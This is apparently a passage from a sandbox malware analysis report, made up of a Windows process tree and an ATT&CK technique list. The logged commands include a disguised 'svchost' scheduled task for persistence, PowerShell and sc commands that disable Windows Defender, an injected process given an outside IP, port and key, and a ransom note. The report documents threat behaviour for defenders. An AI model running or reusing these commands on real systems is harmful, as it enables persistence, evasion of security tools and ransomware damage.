  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4584
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" qc windefend
  2⤵
  - Launches sc.exe
  PID:4304
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
  2⤵
  PID:4788
- C:\Windows\system32\whoami.exe
  "C:\Windows\system32\whoami.exe" /groups
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\system32\net1.exe
  "C:\Windows\system32\net1.exe" start TrustedInstaller
  2⤵
  PID:3452
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 209.25.141.181 17209 adlan1122 2617FA5A3A857DA61E26
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3308
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
      4⤵
      PID:4048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --mute-audio --disable-audio --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data"
    3⤵
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x120,0x124,0x128,0xf8,0x12c,0x7ffb33ea9758,0x7ffb33ea9768,0x7ffb33ea9778
      4⤵
      PID:3384
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1720 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:2
      4⤵
      PID:1612
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=2060 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:4416
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=2176 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:1316
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3164 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:1
      4⤵
      PID:920
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3176 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:1
      4⤵
      PID:2304
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4484 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:1
      4⤵
      PID:4404
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4588 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:2192
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4832 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:4324
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5092 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:4508
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5180 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:1748
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5104 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:1676
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4892 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:5720
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5276 --field-trial-handle=1860,i,3570644929344317115,10975466235903589490,131072 /prefetch:8
      4⤵
      PID:5736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb345146f8,0x7ffb34514708,0x7ffb34514718
    3⤵
    PID:5956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
    3⤵
    PID:3992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2708 /prefetch:8
    3⤵
    PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
    3⤵
    PID:4332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
    3⤵
    PID:3552
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5060 /prefetch:8
    3⤵
    PID:5400
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5060 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
    3⤵
    PID:2360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
    3⤵
    PID:5572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
    3⤵
    PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9623309862237813648,16634113264503233185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1
    3⤵
    PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "data:text/html,<title>Welcome Chrome Browser</title>" --mute-audio --disable-audio
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of SendNotifyMessage
  PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb33ea9758,0x7ffb33ea9768,0x7ffb33ea9778
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1756 --field-trial-handle=1864,i,4629987284977320858,17362322994892152956,131072 /prefetch:2
    3⤵
    PID:1744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --mojo-platform-channel-handle=2144 --field-trial-handle=1864,i,4629987284977320858,17362322994892152956,131072 /prefetch:8
    3⤵
    PID:5460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mute-audio --mojo-platform-channel-handle=2252 --field-trial-handle=1864,i,4629987284977320858,17362322994892152956,131072 /prefetch:8
    3⤵
    PID:1408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2952 --field-trial-handle=1864,i,4629987284977320858,17362322994892152956,131072 /prefetch:1
    3⤵
    PID:3680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2964 --field-trial-handle=1864,i,4629987284977320858,17362322994892152956,131072 /prefetch:1
    3⤵
    PID:4116

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" qc windefend
    3⤵
    - Launches sc.exe
    PID:3304
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
    3⤵
    PID:4276
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /groups
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1848
- - C:\Windows\system32\net1.exe
    "C:\Windows\system32\net1.exe" stop windefend
    3⤵
    PID:3680
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
    3⤵
    - Launches sc.exe
    PID:1808

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1320

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
1⤵
PID:1792

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3988

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:5660

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6080

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1416

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:4548

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb33ea9758,0x7ffb33ea9768,0x7ffb33ea9778
  2⤵
  PID:5556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1796 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:2
  2⤵
  PID:5628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:8
  2⤵
  PID:2028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2256 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2940 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:1
  2⤵
  PID:2084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2948 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:1
  2⤵
  PID:1184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4728 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:1
  2⤵
  PID:4568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4864 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:8
  2⤵
  PID:1164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4724 --field-trial-handle=1940,i,3997739864896312083,14848389620522449741,131072 /prefetch:8
  2⤵
  PID:2268

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:5144

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:4480

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:1420

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:5544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery